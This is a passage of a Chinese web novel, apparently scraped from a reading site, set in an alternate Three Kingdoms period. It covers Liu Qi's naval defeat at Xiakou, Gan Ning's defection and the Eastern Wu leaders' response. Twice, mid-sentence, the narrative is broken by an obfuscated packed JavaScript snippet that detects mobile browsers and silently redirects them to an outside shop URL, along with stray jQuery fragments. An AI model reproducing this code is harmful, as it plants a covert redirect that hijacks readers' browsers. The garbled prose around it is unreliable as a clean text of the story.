黄月因轻声问道,眼中虽带着不舍,但心里却是理解。 虽是新婚,但黄月英深知军情紧急。 刘琦握住黄月英的手,触感温软:“军情紧急,我必须亲赴前线。你在城中好生照料自己。” 黄月英从怀中取出一个绣工精致的香囊,低声道:“这里面是我配的几味安神草药,夫君带在身边。军中劳顿,望能助你安眠。” 刘琦接过香囊,只觉一缕清香沁人心脾。 刘琦凝视着妻子在灯下越发显得轮廓分明的面容,那双异域风情的眼眸中盛满关切,心头一暖,忍不住将黄月英轻轻拥入怀中。 “待江夏平定,我必好生陪你。”刘琦在黄月英耳边低语。 黄月英脸颊微红,却坚定地点头:“妾身明白。夫君尽管前去,不必以家事为念。” 随着刘琦一声令下,整个江夏北部以安陆为核心的刘琦军,开始隆隆运转起来。 军令通过快马与轻舟,迅速传达到各处军营。 驻守在安陆以东要道的扬武校尉王朗,在接到命令后,立即拔营起寨,率领麾下经过初步整训的四千郡兵,沿着汉水向下游夏口方向稳步推进,构筑新的防线,与江南的陈应部遥相呼应。 与此同时,驻扎在沙羡的陈应也接到了前移营寨、威逼夏口的指令。 陈应麾下的兵马迅速行动,在江南岸选择有利地形,开始抢筑营垒、望楼,并派出大量斥候,如同撒开触角般,严密监视夏口城的一举一动,并不时进行试探性的袭扰。 江面上,由庞统与黄忠统领的水师主力,帆影蔽日,桨橹齐动,浩浩荡荡地驶出港口,向着夏口水域进发,摆出了一副寻机决战的强硬姿态。 一时间,以夏口为中心,北有王朗的郡兵步步为营,西有刘琦亲率的主力虎视眈眈,南有陈应的营寨与前出的斥候,江面之上更是荆州水师的艨艟斗舰。 一张由刘琦亲手编织的、涵盖水陆三面的大网,正缓缓笼罩在夏口城上空。 (本章完) 第40章 庞统水战失利!甘兴霸来投! 距离夏口四五十里的江面上,几缕黑烟从还未沉入水底的船只上升起与江面的薄雾混杂在一起。 一艘艨艟正熊熊燃烧,火舌贪婪地舔舐着船帆,将上面绣着的刘字吞没。 烧得半焦的木板、断裂的箭矢、散落的船桨,几具尸体随着波浪轻轻起伏顺着江流缓缓向下游漂去,像是在诉说着刚刚结束的那场惨烈水战。 不远处,一个江东士兵仰面漂在水上,圆睁的双眼空洞地望着天空,胸前深深的刀口还在缓缓渗出血丝,在江水中晕开淡淡的红色。 从高空俯瞰,整片江域宛如一幅被暴力撕扯的残破画卷。 临近夏口城这一侧的江东水寨舰船齐整,旌旗如林,透着严阵以待的威压;而上游这片水域,却是一片狼藉。 十数艘或倾覆、或燃烧的荆州战船散落在江面上,如同被随手丢弃的残破玩具。 广阔的长江江面在此处仿佛也变得滞涩,因为水面上漂浮着太多杂物——破碎的木板、散架的船桅、以及那些已经静止不动,随着波浪轻轻起伏的人形黑点。 整条长江,在这一段,仿佛成了一道正在缓慢溃烂的伤口。 而荆州水师的残存舰队,此刻已退至夏口上游南岸一处依托天然港湾修建的水寨。 这水寨选址颇为讲究,背靠一片缓坡,坡上便是陈应所部的江南大营,营垒森严,与水寨互为犄角。 寨墙以粗木深钉入水底构筑,留有供舰船进出的闸门,墙头设有望楼箭垛,俨然一座水上城池。 而庞统选择南岸建寨实属无奈。 放眼江北,地势低洼,每逢夏秋雨季,汉水漫溢,那片土地便会重新被云梦泽吞噬,化作一片无边沼泽,舟船难行,步卒更是寸步难移。 因此,在江北的王朗所部,就算按照刘琦军令行进至夏口城外三十里,也难与庞统、陈应所部形成联动。 此刻,整个刘琦军的部署清晰可见:江南,以沙羡城为后盾,陈应步卒与水寨水师相依。 江北,王朗部只能在汉水以北扼守要道,监视并牵制夏口西北陆路。 而刘琦与诸葛亮坐镇的安陆,则如同心脏,居于江北腹地,调度各方。 只可惜,这看似周密的陆上包围网,却被一道宽阔的长江以及江东强大的水军,硬生生割裂开来。 水寨中的残破舰船,便是试图突破这水中壁垒而失败的证明。 此番主动出击,实乃庞统深思后的无奈之举。 庞统见江东军龟缩夏口城内,摆出全力防御的姿态,便意图以水师前压,不求破敌,但求将江东水师逼退数里,为己方争夺一段关键的江面控制权。 这段水域正在夏口城正面,其特殊之处在于,唯此处的江北沿岸,因地势稍高而未被云梦泽完全吞噬,保留了一小段可供通行的坚实陆路。 若能控制此段江面,刘琦军在江南江北的力量联络便可直通此处,无须再绕行远在数十里外的沙羡后方。 如此一来,整个包围网才能真正盘活。 可惜,周瑜深谙此地利害,岂容庞统如愿? 荆州水师刚一动,江东水军便果断出击,以绝对的实力将庞统的企图彻底粉碎。 寨内,气氛凝重。 伤痕累累的舰船静静地停泊着,不少船身上还带着火烧水浸的痕迹,失了出征时的锐气。 庞统旗舰楼船的甲板上,士卒们默默擦拭着兵器,或是工匠修补着船帆上的破洞,没人说话,只有江水拍打船体和水寨木桩的"哗哗"声,衬得气氛愈发沉闷。 老将黄忠扶着船舷,望着下游方向,目光仿佛要穿透数里的距离,看到刚才令他挫败的江域。 “咳咳..” 黄忠轻咳一声,嗓子因刚才的呐喊指挥有些沙哑,“士元,某家...愧对主公信任啊。” 黄忠这话说得有些沉重,带着武人失利后特有的挫败感。 想他黄忠,在陆地上自信弓马能令敌军丧胆,可在这颠簸的江面上,一身本事竟似被缚住了手脚,空有力气却难以尽数施展。 庞统就站在他身侧,相较于黄忠的懊恼,他面露思索之色,显然在脑海中复盘刚才那场水战。 庞统摆了摆手,语气倒是平静:“汉升将军何必自责?此战失礼非将军之勇不足,实乃周瑜水战之能,更胜传闻。” 庞统伸手指向下游那看不见的敌方水寨,“我欲借上游水势,顺流急攻其一点,奈何周瑜调度之精,竟能凭操舟之术,硬生生抵消了这半成水势之利。” 几天前,熟知天象水文之道的庞统,算准了午后的风向会转为东南,又观察到江水正在涨潮,便命黄忠率二十余艘艨艟斗舰作为先锋。 这些轻型战船每艘约载五十水卒,借着顺流和逐渐起来的风势,速度越来越快,直扑江东水军阵型的右翼。 按庞统的推算,这等速度与势头,足以在江东水军完成布防前撕开一道口子。 只要打开缺口,后续的走舸快船就能迅速跟进,扩大战果。 然而,周瑜水军的应变之快,操船之精,超出了所有人的想象。 江东水寨中令旗挥动,原本看似散乱的船队瞬间变阵。 数艘楼船缓缓横过船身,这些庞然大物每艘可载兵二三百人,如同移动的水上堡垒; 同时,更多灵活的走轲和艨艟从两翼包抄过来,每艘船上都站满了严阵以待的江东水卒。 黄忠亲率旗舰一马当先,他立于船头,手中长刀在阳光下闪着寒光。 眼看就要接舷,对面一艘艨艟上突然跃出一将,正是凌操。 “黄忠老儿,休要猖狂!”凌操大喝一声,在两船相撞之际,挥刀直取黄忠面门。 黄忠冷哼一声,长刀迎上,两柄兵刃相撞,发出刺耳的金属交击声。 凌操被震得连退两步,虎口发麻,心中暗惊这老将力气之大。 就在这时,另一艘走轲快速逼近,船头立着的正是韩当。“凌校尉莫慌,韩当来也!” 黄忠面无惧色,长刀舞动如轮,竟同时与凌操、韩当战在一处。 刀光剑影间,黄忠越战越勇,几次险些将凌**入水中。 可就在他全力应战之时,侧翼突然传来一阵惊呼。 原来黄盖看准时机,指挥两艘艨艟夹击了一艘落单的荆州斗舰。 那船上五十余名荆州水卒虽然奋勇抵抗,但面对黄盖这头江东猛虎,很快就被击溃。 船只被迫降下旌旗,成了此战第一艘被俘的战船。 类似的场景在战线上接连发生。 荆州水军虽然单兵素质不弱,但江东水师凭借娴熟的配合和数量优势,总是能以多打少。 往往一艘荆州战船要同时应对两三艘敌船的**。 庞统在中军看得分明,眼见己方阵型被一点点割裂、蚕食,已有超过十五艘艨艟、斗舰或沉或俘,只得忍痛下令鸣金收兵。 这一退,可谓是狼狈不堪。 万幸的是,江东军意在固守,并未全力追击,加之荆州水卒水性不错,许多落水者被友舰拼死救回。 因此人员折损反倒不多,阵亡、失踪者约百余,伤者数百。但船只的损失,对本就弱小的荆州水师而言,无疑是雪上加霜。 局势一下子就僵住了。 而在南岸高坡上,陈应按剑而立,眼睁睁看着水师败退回寨,麾下数千步卒空有战力,却只能在岸边干瞪眼,无法越过这滔滔江水给予半分支援。 与此同时,江北的王朗更是憋闷,他虽将营寨推进至夏口西北三十里处,与城头守军旌旗相望,却被扼守在唯一陆路通道上的石阳戍牢牢挡住。 那关隘地势险要,一夫当关,万夫莫开,王朗组织了几次试探性的进攻,除了在关墙下增添了些许伤亡外,毫无进展。 至此,刘琦军水陆三面围困夏口的态势,竟因一道长江、一座坚城、一处关隘,而显得如此名不副实,徒唤奈何。 就在这低沉压抑的气氛于荆州水师中弥漫之时,安陆城内的太守府中,刘琦正对着眼前的江夏舆图出神。 刘琦已经收到了庞统和黄忠联名发来的军报,字里行间透着无奈。 “孔明,看来我们还是低估了江东水军的实力啊。” 刘琦叹了口气,手指无意识地在图上的夏口位置画着圈,“若非江东权力交接,周瑜收缩防守,我们这点水军家底,根本不够打呀。” 诸葛亮坐在下首,羽扇轻摇,往日那副云淡风轻的模样,此刻眼神里也多了几分凝重。 “主公所言极是江东凭借长江天险立业,水师乃其根本。而周瑜更是深谙水战之妙,硬拼绝非上策,需得一员精通水战、能扭转乾坤的良将…” 刘琦何尝不明白这个道理? 可良将难得,步兵上阵或许能凭一腔血勇冲阵,来一个大力出奇迹,乱拳打死老师傅。 可水师将领却不一样得懂星象辨风向、摸水温查暗流,还得握罗盘定方位、控船调阵型,差一点就可能翻船。 而刘琦麾下其实也有不少水师将校,但都是中人之姿,守成有余, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591504|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进取不足,想要他们去对抗周瑜,简直是痴人说梦。 想到这,刘琦只感觉头大。 就在这时,门外传来一阵急促而的脚步声。 一名亲卫引着一名风尘仆仆、商人打扮的使者快步走了进来。 那使者脸上带着压抑不住的兴奋,见到刘琦,立刻躬身行礼,声音因激动而有些发颤:“主公!好消息!我找到甘宁了,并且说服他愿率部来投!” “什么?” 刘琦从席上站起,脸上多是惊喜和惊讶。 刘琦此前刚到沙羡后得知甘宁并没有归降江东军,便猜测甘宁可能顺流而下躲进鄱阳湖里了。 是以,刘琦派出使者前往鄱阳湖寻访甘宁。 当然刘琦当时的想法是抱着“有枣没枣打一竿”的尝试心态,并未敢抱太大期望。 此刻骤闻佳音,当真是喜出望外,仿佛久旱逢甘霖。 “你说清楚,是甘宁甘兴霸?” “千真万确!”使者用力点头,“属下历尽艰辛,终于在鄱阳湖水域寻到甘宁。” “好!太好了!真乃天助我也!” 刘琦用力一拍手掌,脸上阴霾一扫而空,在厅内兴奋地踱了两步,回头对一旁的诸葛亮笑道,“孔明,你听见否?此真乃雪中送炭!我正愁如何破解周瑜水军,甘兴霸便来了!” 诸葛亮闻言,从容放下手中正在批阅的关于屯田区域划分与流民安置的竹简。 诸葛亮不熟悉甘宁其人,但见主公如此欣喜,且正值用人之际,便也面露温和笑意,拱手道:“恭喜主公再得良将。此人既得主公如此看重,必有过人之处。士元与汉升在前方若能得此强援,水师局面或可改观。” 诸葛亮言语谨慎,既表达了恭贺,也未对甘宁本人做出具体评价,恰到好处。 这时刘琦也冷静下来,目光重新放到舆图上,转向一旁的诸葛亮:“孔明,甘宁来投,于我水师乃是强援。” “然周瑜非易破之辈,不可将破敌之望全系于一人一身。” 刘琦手指点向地图上夏口西北的陆路关隘石阳戍,“水师新挫,需时间整备。但陆上攻势,绝不能停!” “传令!”刘琦对堂外的亲兵喝道。 “命王朗所部向前推进,于石阳戍外择险要处立寨,广布旌旗,多设灶坑,做出大军云集之势。每日派小股精锐轮番挑战,但不必强攻关隘。” 接着刘琦目光落在诸葛亮若有所思的脸上,继续道:“孙权处境不同与我,其内有孙坚旧部、伯符嫡系、江东豪族,这几股势力看似一体,实则各怀心思。周瑜能镇住场面,是因孙策余威尚在,且此前战事顺利。” 刘琦作为后世之人,知道江东军制的根本软肋,那就是将领麾下的部曲,名为官兵,实为私产,是每个家族安身立命的根本。 每一次交战伤亡,消耗的都是将领们自己的家族底蕴。 而以孙权的军事才能是,是没办法在敌**军压境前压制不住手下这几股势力的。 而刘琦这番部署,正是要利用这个的弱点。 在夏口跟孙权来一场高密度但低烈度的战争。 通过小股部队绵绵不绝的与孙权対耗,刘琦相信最先承受不住的,一定是那些眼看着自家儿郎每日消耗、心头滴血的将领们。 诸葛亮听完刘琦对江东军内部派系的分析后,微微颔首,显然已完全领会了刘琦的战略意图。 “主公深谋远虑,亮钦佩之至。” “以此法对敌,正击中江东软肋。其军制之弊,确可为我所用。但主公欲行此长久消耗之策,后勤粮秣乃重中之重。” 诸葛亮略一停顿,继续禀报道:“亮在江北推行屯田,安抚流民,近日已有成效。” “新垦田亩渐广,收聚粮草日增,流民得以安置,民心渐稳。” “假以时日,江北根基稳固,粮草转运畅通,必可支撑大军与夏口之敌长期对峙,绝无后顾之忧。” 刘琦闻言,脸上露出满意的笑容。 诸葛亮的政务能力刘琦从不怀疑,能在短时间内稳定江北并初见成效,已是难得。 于是刘琦朗声道:“好!有孔明在后方统筹粮草,安抚地方,我便可安心在前线与孙权周旋!” “三日后,我亲率中军主力奔赴夏口前线。” 闻言,诸葛亮神色郑重,向刘琦拱手道:“主公尽可专心前线军务,廓清寰宇。这后方琐务,维系根本之责,亮虽不才,愿一力担之,必不使主公分心旁顾。” (本章完) 第41章 刘琦折节迎豪杰,甘宁真心拜主公 长江南岸,庞统水寨外江面上,清晨的江雾如轻纱般笼罩在水寨中,让人视线受阻,在墙寨上巡视的士卒,看向江面百米之后就剩下一片白芒。 这时,一阵船桨破开水面的声音从江面上传来,声音中夹杂着粗豪的呼喝与清脆的铜铃声响,打破了水寨的宁静。 而得士卒汇报的刘琦在亲兵的簇拥下走出水寨,庞统和黄忠紧随其后。 众人抬眼望去,只见一支约莫二十余艘的船队正破雾而来。 船队船型不一,不似官军制式,但船速极快,带着一股子江湖悍勇之气。 而最醒目的,便是每条船桅杆上都挂着的一面鲜艳锦缎船帆,在朦胧白雾中扬帆起航。 “是锦帆!甘宁的锦帆旗!” 寨墙上有原黄祖麾下的老兵失声惊呼,语气里混杂着震惊与一丝畏惧。 “他…他不是战败后投了江东吗?怎会来此?” 这些黄祖旧部深知甘宁的厉害。 昔日甘宁在黄祖麾下为将时,便以水战骁勇、作风悍烈闻名。 而那日黄祖战败被阵斩,甘宁作为前锋却下落不明,众人皆以为其要么战死,要么已降江东。 此刻见他竟率锦帆旗出现在刘琦军方向,自然惊惧交加,唯恐甘宁是为江东前来攻打自己。 “**手!快!张弓搭箭!” “床**对准头船!不能让他们靠近!” “快去禀报主公和庞军师!” 刘琦军中基层军官,队率、军侯尽管心中有些惊慌,但积年累月锻炼出来的反应,迅速让他们根据水师操守指挥起下面的士卒。 一时之间,寨墙之上箭镞寒光闪烁,数架床**也被奋力绞紧,对准了那支越来越近、气势汹汹的锦帆船队。 紧张的气氛瞬间拉满,大战仿佛一触即发。 就在这千钧一发之际,一个沉稳的声音响起:“住手!统统把兵器放下!” 只见刘琦在庞统、黄忠等将领的簇拥下,快步登上寨墙。 刘琦目光扫过寨墙上如临大敌的守军,随后落在江面上那支锦帆船队,刘琦脸上非但没有惧色,反而露出了欣喜的笑容。 “诸位不必惊慌!” 刘琦朗声道,声音清晰地传遍寨墙,“此非敌袭,乃是我军强援尔——甘宁甘兴霸,率义士前来投效我军!尔等收起兵器,打开寨门水栅!” 主帅一声令下,尽管不少士卒,尤其是黄祖旧部仍将信将疑,但军令如山,弓弦缓缓松弛,床**也移开了方向。 水寨沉重的木栅门在嘎吱声中缓缓升起。 也就在此时,锦帆船队在水寨门前极为娴熟地依次抛锚停稳,展现出精湛的操船技巧。 为首快船上,一名大汉纵身跃下,动作矫健如豹,正是甘宁甘兴霸。 甘宁面容粗豪,脖颈刺青,腰别短戟,行走间身体随着他独特的步态轻轻晃动,那是甘宁常年踏波逐浪养成的平衡感,但在陆地上看来自带三分嚣张。 甘宁目光锐利的扫过寨墙上正在收拢军械的士卒,以及尚未完全收拢的**器械上,瞬间明白了自己这伙人来得突兀,没有依照常理提前遣使通报,定然是让刘琦军上下紧张了一番,闹出了不小的误会。 甘宁笑了笑嘴角挂着一丝混不在意的痞笑,就这么径直朝着寨门下的刘琦走去。 “哈哈哈!” 甘宁在刘琦面前站定,随意地抱了抱拳,动作谈不上标准,却自有一股豪迈气概。 “甘宁来迟,让刘府君久等了!麾下八百锦帆老兄弟,外加在鄱阳湖收拢的四百多条汉子,共一千二百人,特来投效,听候府君调遣!” “方才儿郎们行船野惯了,动静大了点,惊了贵军寨垒,府君多多包涵!” 后面这句话,甘宁是说给寨墙的士卒们听的。 甘宁混迹江湖多年,行事看似粗豪不羁,实则心思剔透,尤其善于察言观色。 甘宁心知自己此番率众前来,虽是好意投效,但终究没有提前通报,惊扰了刘琦军营。 然而,以甘宁的桀骜性子,绝不会循规蹈矩地为此正色道歉,那既折了他和麾下兄弟的威风,也非他行事风格。 是以,甘宁便将这因自己而起的“误会”,轻描淡写地归结为“行船野惯了”“动静大了点”。 甘宁言语间非但没有赔罪的小心,反而带着几分炫耀自家儿郎操船本事、行事不拘小节的江湖豪气。 甘宁这番话既巧妙地化解了尴尬,维持了自身强悍不驯的形象,又以一种独特的方式,向刘琦及其部下传递了一个信息:我甘宁和我的兄弟,就是这样一群纵横江河、不喜束缚的豪杰,同时也是甘宁暗藏着一层更深的试探。 就是要看看刘琦这位名声在外的刘府君,究竟是何等胸襟。 若刘琦是那种恪守礼法、不能容人的世家公子,见甘宁如此“无状“,必会面露不悦。 那甘宁就要重新考虑刘琦是否值得投效了。 他甘兴霸宁可继续在江湖逍遥,也绝不愿在刘琦帐下做个循规蹈矩的将领。 而刘琦亦非蠢人,甘宁那点试探的心思,刘琦岂会看不出来? 见这锦帆汉子故意摆出这般桀骜不驯的姿态,刘琦非但不恼,眼底反倒掠过一丝笑意。 “哈哈哈!” 刘琦朗声大笑,非但没有退避,反而抢上前一步,学着江湖人的样子,也在甘宁臂膀上不轻不重地拍了一记,动作竟带着几分熟稔。 “好!我要的就是兴霸这般真豪杰!那些虚头巴脑的礼数,看着都累,不要也罢!” 接着刘琦目光越过甘宁,扫向后面那群眼神彪悍、身材干练的甘宁部众。 这时刘琦的声音又高了几分,带着江湖大哥犒劳弟兄般的爽快:“诸位兄弟远来辛苦,我已在寨中备好酒肉!” “自今日起,咱们就是一家人,有我刘琦一口吃的,就绝饿不着诸位弟兄!” 刘琦这番话说得江湖气十足,却又真诚无比,没有半分世家子弟的拿捏作态。 见刘琦如此,甘宁心头猛地一热,像是被什么东西狠狠撞了一下。 甘宁闯荡半生,从益州到荆州,再到现在的江夏,见过太多表面礼贤下士、骨子里却瞧不起甘宁他们这等出身的主公。 那些人的“宽容”总是带着施舍的味道,规矩框框一大堆。 像刘琦这般,不仅看穿了他的心思,还愿意放下身段,用他们这套江湖规矩来回应甘宁的,当真是破天荒头一遭! 在甘宁看来刘琦这哪里是收编?分明是大哥在接纳前来投奔的兄弟啊! “主公!” 甘宁这次抱拳,动作里透着一股子发自内心的敬重,声音里,再不见丝毫试探,只剩下江湖人认准大哥后的决然。 “从今往后,甘宁这条命就是主公的了!刀山火海,但凭主公一句话!” 甘宁身后那些部众见头领这般表态,也都收起桀骜,齐声吼道: “愿为主公效死!” “赴汤蹈火,在所不辞!” 声声呐喊震得江面波纹荡漾,气势直冲云霄。 刘琦将甘宁的转变看在眼里,心中大定,朗声笑道:“我得兴霸,如虎添翼也!周瑜水师,何足道哉!” 说着刘琦便引着甘宁往水寨里走。 而甘宁的锦帆船队依次驶入水寨,那些船上的汉子们虽然收敛了些许桀骜,但举手投足间仍带着江湖人特有的利落劲儿,与荆州水军规整的做派截然不同。 庞统、黄忠等水师将校跟在后面,交换着眼神。 几个性子直的将领更是皱起了眉头,显然对刘琦如此礼遇一个“水贼“颇有微词。 毕竟甘宁曾在黄祖麾下时,也没有打出什么耀眼的战绩,而且还是江东的手下败将,如今又这般张扬,实在让人难以心服。 刘琦虽然没有看见这些将校的表情,但也能猜到一些,不过刘琦却只是微微一笑,并不解释。 以甘宁的能耐,很快便会用江东水师的鲜血来证明,何须刘琦多费唇舌? 不一会刘琦一行人便穿过水寨,来到中军大帐,待众人落座后,。 “士元。” 刘琦转向庞统,语气平和,“兴霸不仅水性精熟,更深谙水战之要。” “昔日他在长江上来去自如,江东水师也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591505|187382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿他无可奈何,这份本事,正是我军如今最需要的。” 庞统虽未亲眼见过甘宁的本事,但见刘琦如此笃定,当即会意,顺着话头笑道:“主公慧眼识珠有兴霸相助,日后与江东水师交锋,我军便可放开手脚了。” 刘琦点头,转而看向甘宁,正色道:“兴霸,你率千余部曲来投,这是信我刘琦,我今日便任命你为横江校尉,统领新设的锦帆营,编制三千人。” “而眼下你部尚缺员额,可自行招募江淮豪杰,日后与江东交战,俘获的降卒也任你挑选补充。“ 这番话一出,帐中几位将领都暗自点头。 原来主公是看中了甘宁带来的这支生力军,这般任命倒也合情合理。 甘宁眼中精光一闪,当即离席单膝跪地:“末将领命!必不负主公重托!” 甘宁身后的几名锦帆头目也齐刷刷跪下,动作干净利落。 刘琦微微颔首,对甘宁的反应很是满意。 刘琦伸手虚扶,示意甘宁起身,目光却转向帐中诸将: “兴霸新来,正好让将士们都见识见识锦帆营校尉的手段。” 刘琦这话说得平淡,帐中众人却都听出了弦外之音。 这是要给甘宁一个立威的机会,也是要让那些心中尚有疑虑的将领亲眼看看,这位新晋的横江校尉到底值不值得如此重用。 甘宁何等机灵,当即领会,抱拳应道:“主公放心!末将这一路从鄱阳湖过来,早已就想好了对付江东水师的法子!” 甘宁声音洪亮,带着一种在旁人看来蜜汁自信。 这番对答让帐中几位老将都不由侧目——这甘兴霸,倒真是个敢打敢拼的性子。 庞统适时开口:“既如此,不妨让横江校尉先说说他的法子。” 甘宁精神一振,:“末将在江夏多年,与江东交手不下十余次,深知他们的软肋。” 说着甘宁走到舆图前,手指舆图上粗略地画了一下江东六郡的位置。 “当年孙策之所以能快速平定江东六郡,靠的就是大封功臣。” “韩当、程普、黄盖等老将,不提,凌操、吕范、太史慈等这些新锐,哪个不是在征讨江东时得了大片封邑?” “而他们的部曲都是从自家封地上征召的子弟兵,打仗有利可图时自然卖命。” 甘宁这番话,道破了江东军制的根本。 孙策凭借这套以战养战的制度,让将领们为了封邑而战,确实在短时间内凝聚了强大的战力。 将领们带着自家部曲征战,每打下一地就能分得一些封邑,部曲立了战功也能得到赏赐,这才让孙家军在短短数年间就席卷江东。 然而这套制度的弊端也显而易见——部曲私属,将领们往往更看重保存实力。 往日孙策在世时,还能以个人威望压制诸将的私心;如今孙权继位,诸将见少主年幼,难免各怀心思。 甘宁环视帐中诸将,见众人皆被自己所吸引,甘宁嘴角不禁勾起一道弧度。 “但如今形势不同了。主公津乡一战,主公让江东军损兵折将,连孙策都搭上了性命。” “这些将领现在心里都明白,咱们不是好惹的软柿子。若是再让他们折损些部曲...” “咱们只要慢刀子割肉,一边不给江东军机会的同时派小股部队不断袭扰江东军。” “今天烧韩当两条粮船,明天截凌操几艘辎重。这些将领眼看着自家子弟兵折损,封邑根基动摇,岂能不生异心?” 刘琦闻言,眼中精光一闪。 这甘宁不但勇武,对江东内情的洞察竟也如此透彻! 且连对江东军的军事战略,这甘宁见解,竟与刘琦不谋而合! 刘琦当即顺势说道:“兴霸此言,正合我意。既然你早有谋划,不妨说说具体如何施为?” 甘宁手指点在夏口外侧的一处水道:“这里是江东水寨的软肋。水流湍急,暗礁遍布,大船难行,却是咱们快船发挥的好地方。” “待天黑后,月黑风高,末将只需三百精锐,趁夜突袭,让这江东军将领尝尝我甘兴霸的厉害!” (本章完) 第42章 甘宁夜袭!火烧江东营! 刘琦听罢,抚掌大笑:“好!兴霸不愧是水战行家,既然你深谙此道,这江面上的战事,我便全权交由你来处置!” “要多少人手,要多少战船,皆可与士元商议。我只有一个要求——那就是让周瑜不得安枕!” 刘琦这番话如暖流般涌进甘宁心田。 甘宁想起昔日在黄祖麾下时,每每提出奇策,总要被诸多掣肘,动辄得咎。 黄祖既要用他,又处处提防,何曾给过这般毫无保留的信任? 甘宁心中暗叹:这才是明主啊!知人善任,用人不疑。黄祖那老儿,比起刘府君,简直云泥之别! 甘宁当即单膝跪地,声音因激动而略显沙哑:“末将……必不负主公重托!” 刘琦上前将甘宁扶起,在甘宁肩上重重拍了拍:“去吧,让江东水师见识见识锦帆营的威风!” 待甘宁领命而去,刘琦转向庞统:“士元,江北的攻势也要加紧,三日后我要亲临石阳戍。“ 庞统摸了摸下巴稀疏的胡子:“主公这是要双管齐下?“ “不错。” 刘琦目光锐利,“既然要施压,那便水陆并进。我倒要看看,孙权小儿能撑到几时!“ 帐中诸将校见刘琦对甘宁如此信任,心中虽仍有疑虑,但却也不再多言。 毕竟刘琦自津乡大捷以来,还未曾看走眼过。 而此时走出大帐的甘宁,望着江面上迎风招展的锦帆,只觉胸中豪情万丈。 他终于等到了可以尽情施展才华的明主,这片长江,注定要成为他甘兴霸建功立业的舞台! 第二日,天刚蒙蒙亮,江面上还笼罩着一层薄纱似的江雾。 夏口,江东水军主帅大帐,此刻显得有些空荡。 唯有周瑜与孙权二人对坐,几盏油灯将他们的身影投在帐壁上,随着江风灌入而微微晃动。 周瑜凝望着悬挂的江夏舆图,眉头紧锁。 孙权坐在主位,努力保持着身为吴侯的威仪。 帐内气氛有些沉闷,已然没有昨日击破荆州水师后的昂扬氛围。 “公瑾。” 孙权率先打破了沉默,声音沉稳,但带着探询,“公瑾,斥候来报,说那原在黄祖麾下,后又流窜至鄱阳湖的甘宁,带着千余部众,投了刘琦?可有此事?” 周瑜转过身,右手敲了敲左手掌心,语气带着几分凝重和一丝未能及时拦截的遗憾:“昨日清晨,甘宁率二十余艘快船,大摇大摆的穿过夏口城驶入庞统在南岸的水寨。” “据探子回报,那刘琦都亲自出寨相迎,声势闹得不小。” 孙权闻言,眉头微蹙。 孙权对甘宁本人的重视程度有限,孙权更看重的甘宁竟然能从我军控制的江面通过,此事背后暴露的是军事隐患。 作为新任领袖,孙权必须确保防线的严密与权威,任何可能的漏洞都值得警惕。 至于甘宁在孙权看来,不就是一败军之将落草为寇的水寇、湖贼。 “甘宁此人,我素有耳闻,勇则勇矣,然终是江湖草莽之气未脱,纵率千余之众投奔刘琦,于大局而言,不过疥癣之疾。” 接着孙权话锋一转,语气变得严肃起来,“孤所虑者,乃鄱阳湖在大江下游,甘宁竟能带着船队,逆流而上,穿过我军控制的江面,安然抵达刘琦水寨!” 周瑜心中一凛,自是听出孙权语气里的不满之意。 便解释道:“主公明鉴,我军已对这段江面实行了日巡夜察,小舟快船往来不绝。” “想来那甘宁,曾在江夏为黄祖效力多年,对此间每一处暗流、每一条岔道都了如指掌。他定是窥准了我军巡视间隙,凭借其高超的操舟之技,方能如游鱼般悄然穿过。” “间隙?” 孙权站起身子,在帐内渡着步子。 “那甘宁所率二十余艘的船队都能找到‘间隙’穿过,这还能称之为‘间隙’吗?” “公瑾,这分明是我江防体系存在漏洞!一张本应密不透风的网,出现了能让大鱼从容游过的窟窿!这才是问题的关键!” 面对孙权的质问,周瑜也很是无奈。 夏口城这一段长江江面开阔,有数百米之宽,且水流复杂,支流纵横。 甘宁那样的水战大家,又对此地了如指掌,他想在不发生正面冲突的情况下,率领船队寻隙穿过,虽显能耐,却也并非完全不可思议。 而在江面巡逻的船只能发现其踪迹并上报,已属尽责,想要在广阔江面上精准拦截一支有意避战、行动迅捷的熟悉之师,谈何容易?人家恐怕早已摸透了我军的巡逻规律和路线。 但这些话,周瑜并未宣之于口。 因为孙权接下来的话瞬间印证了周瑜心中所想。 孙权停下脚步,目光落在周瑜身上,沉声道:“昨日我军虽胜,但绝不可因此滋生骄气——你看眼下,连营中巡逻值守都渐生懈怠,此风断不可长。” 此事,公瑾,你需严加查办,务必让全军上下,重新绷紧这根弦!须知大兵团作战,军纪要严!”. 周瑜拱手领命:“主公所虑极是。胜而后骄,乃兵家大忌,瑜即刻便去详查各营巡视记录,严惩懈怠者,重申军纪,务必使江防固若金汤,不负主公重托。” 孙权看着周瑜领命而去的身影,眼中闪过一丝复杂的神色,但很快便被坚定所取代。 周瑜所虑,他孙权如何不知? 但公瑾啊公瑾,我身为江东之主,更是新继位不久,看待此事,又怎能如你这般纯粹着眼于军事角度? 如今军中,确因前番小胜而滋生骄躁之气,此风不可长! 而我也正需一个契机,一个足够分量的理由,来敲打全军,收紧军纪,让军中时刻记住——谁才是这江东真正的主君,谁才能决定赏罚与方向。 而甘宁此事,恰是孙权最好的抓手。 他率大队人马“来去自如”,无论原因为何,在众人眼中,便是江防有失,便是将士懈怠! 孙权正好借此立威,名正言顺。 